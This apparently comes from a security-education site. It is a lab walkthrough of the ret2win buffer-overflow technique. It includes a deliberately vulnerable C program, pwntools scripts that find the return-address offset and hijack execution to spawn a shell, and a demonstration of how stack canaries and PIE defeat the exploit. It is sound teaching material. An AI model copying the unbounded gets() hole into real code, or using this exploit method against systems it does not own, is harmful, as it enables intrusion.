Skip to content

Hijacking Control Flow: the ret2win Technique

A complete lab walkthrough: build a vulnerable C program, find the offset to the saved return address, redirect execution with pwntools, then watch each mitigation break the exploit.

Published on 5 min read

This is the first walkthrough in the Exploitation Techniques area. It builds the single mechanic every later technique depends on: turning a stack buffer overflow into control over the instruction pointer. We do it against a program we write and compile ourselves, with mitigations switched off, in a disposable lab — and we finish by switching the mitigations back on to see exactly which step each one breaks.

If you have not read stack buffer overflows explained for defenders and how a process lays out memory, read them first; this guide assumes you know why the saved return address sits above a local buffer.

Lab rules

Practise this only on binaries you compiled yourself, or on challenges that explicitly invite it (see the CTF learning path). Run everything in a throwaway virtual machine or container, never against software you do not own. The point is to understand the mechanism, not to attack anything.

You will need a Linux x86-64 environment with gcc, gdb (ideally with pwndbg or GEF), and pwntools (pip install pwntools).

The target

ret2win is the canonical first challenge: the binary already contains a function that does the thing we want (here, spawn a shell), but nothing ever calls it. Our job is to reach it anyway.

/* vuln.c — a deliberately vulnerable demo. Compile with mitigations OFF. */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win(void) {
    puts("[+] control-flow hijacked — spawning a shell");
    system("/bin/sh");
}

void vuln(void) {
    char buf[64];
    puts("Name?");
    /* gets() has no bound: this is the bug (CWE-121). */
    gets(buf);
    printf("Hello, %s\n", buf);
}

int main(void) {
    /* Make I/O unbuffered so the demo behaves under a pipe. */
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

The bug is gets(buf): it copies input until a newline with no regard for the 64-byte buffer. win() is never called from main. We will make vuln "return" into it.

Build it with mitigations off

We deliberately disable the defences so the raw mechanic is visible. We turn them back on at the end.

gcc -fno-stack-protector -no-pie -g -O0 -o vuln vuln.c
  • -fno-stack-protector — no stack canary between the buffer and the saved return address.
  • -no-pie — a fixed load address, so win() lives at the same place every run (no ASLR/PIE to defeat yet).

Confirm the state of the binary with checksec (ships with pwntools):

$ checksec --file=./vuln
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

"No canary found" and "No PIE" are what make this the easy case. NX is still on, but ret2win never executes injected data — it jumps to code that is already there — so NX is irrelevant here. (Defeating NX is the next guide.)

Step 1 — find the offset to the return address

We need to know how many bytes of input land before the saved return address. Guessing is slow; a De Bruijn cyclic pattern finds it in one crash. Every 8-byte window of a cyclic pattern is unique, so whatever ends up in the instruction pointer tells us the exact offset.

# find_offset.py
from pwn import *

context.binary = elf = ELF("./vuln")

io = process("./vuln")
io.sendlineafter(b"Name?\n", cyclic(200))   # send a 200-byte pattern
io.wait()

core = io.corefile                          # pwntools reads the core dump
fault = core.read(core.rsp, 8)              # top of stack at the crash
offset = cyclic_find(fault)
log.success("offset to return address: %d", offset)

Run it:

$ python3 find_offset.py
[+] offset to return address: 72

72 = 64 bytes of buffer + 8 bytes of saved rbp. Everything after byte 72 overwrites the saved return address.

You can do the same by hand in gdb: run < <(python3 -c 'import sys;sys.stdout.buffer.write(...)'), then read $rsp at the crash and pass it to cyclic -l. The scripted version is just faster.

Step 2 — redirect execution to win()

With the offset known and win() at a fixed address, the payload is: 72 bytes of filler, then the address of win().

# exploit.py
from pwn import *

context.binary = elf = ELF("./vuln")

payload  = b"A" * 72
payload += p64(elf.symbols["win"])   # overwrite saved return address

io = process("./vuln")
io.sendlineafter(b"Name?\n", payload)
io.interactive()                     # drop into the shell win() spawned
$ python3 exploit.py
[+] Starting local process './vuln'
[*] Switching to interactive mode
[+] control-flow hijacked — spawning a shell
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)

That is the whole technique: the ret at the end of vuln popped our address off the stack and jumped into win().

If it segfaults inside system/printf

A first attempt often crashes inside system rather than reaching the shell. The cause is stack alignment: on x86-64, movaps and friends require a 16-byte-aligned stack at the point of the call, and overwriting the return address directly leaves it misaligned by 8. Prepend one ret gadget to burn 8 bytes and realign:

rop = ROP(elf)
ret = rop.find_gadget(["ret"])[0]   # address of a bare `ret`

payload  = b"A" * 72
payload += p64(ret)                 # 8-byte alignment fix
payload += p64(elf.symbols["win"])

Remember this alignment detail — it reappears in every ROP chain in the next guide.

Step 3 — now turn the mitigations back on

This is the part that makes the exercise defensive. Rebuild the same source with each mitigation and watch where the exploit dies.

Stack canary

gcc -fstack-protector-strong -no-pie -g -O0 -o vuln_canary vuln.c

Run exploit.py against vuln_canary and it no longer works:

*** stack smashing detected ***: terminated
[*] Got EOF while reading in interactive

The overwrite still happens, but the canary sits between buf and the saved return address. A linear gets overwrite corrupts it, and the function's epilogue checks the canary before ret and aborts. The bug is still there — but this exact exploit is dead. Note the limits: a canary does not stop a non-linear write, or an out-of-bounds read that could leak the canary value.

PIE + ASLR

gcc -fno-stack-protector -pie -fPIE -g -O0 -o vuln_pie vuln.c

Now elf.symbols["win"] is an offset from an unknown base. With ASLR on (cat /proc/sys/kernel/randomize_va_space → 2), the load address changes every run, so the hard-coded jump lands in garbage and the process crashes. To exploit a PIE binary you first need an information leak that reveals the runtime base — which is a whole technique of its own, and a strong argument for keeping PIE enabled.

BuildCanaryPIEret2win result
-fno-stack-protector -no-pieoffoffShell (works)
-fstack-protector-strong -no-pieonoffAborts at return: stack smashing detected
-fno-stack-protector -pieoffonCrashes: win() address unknown without a leak
Default modern buildononNeeds both a canary bypass and a leak

What this teaches a defender

  • The overwrite and the jump target are two separate problems. Mitigations attack them separately: canaries defend the overwrite, ASLR/PIE hide the target. Defence in depth is not redundancy here — remove either and the other still stands.
  • "No canary found" and "No PIE" in checksec are not cosmetic. They are the difference between a crash and a shell. Verify them in your own builds with the binary hardening flags guide.
  • The root cause was one unbounded gets. No mitigation fixes that; they only raise the cost of exploiting it. The fix is to bound the copy — see stack buffer overflows.

Key takeaways

  • ret2win isolates the core skill: overwrite a saved return address to redirect execution.
  • A cyclic pattern finds the offset to the return address in a single crash.
  • x86-64 stack alignment (movaps) is the usual reason a correct-looking payload crashes; a spare ret gadget fixes it.
  • Re-enabling -fstack-protector-strong and -pie breaks this exploit at two different steps — which is exactly why real binaries ship both.

Next: building a ROP chain step by step, where NX stops us jumping to our own code and we reuse the program's instead.

Related guides

0x7000 · Exploitation Techniques

one-gadget: One Address to a Shell

Sometimes you control just one pointer. A one-gadget is a single libc address that calls execve("/bin/sh") — if its register and stack constraints hold. Find one, check the constraints, and use it.

0x7000 · Exploitation Techniques

ret2dlresolve: Resolving a Symbol Without a Leak

No libc leak, no problem: forge the relocation the dynamic linker reads and make it resolve and call system for you. A pwntools walkthrough — and why Full RELRO ends it.

0x7000 · Exploitation Techniques

Seccomp Sandboxes and the open-read-write Chain

A seccomp policy that bans execve takes the shell off the table, so attackers switch goals: open the flag, read it, write it back. Build the ORW chain, and see what a tighter policy stops.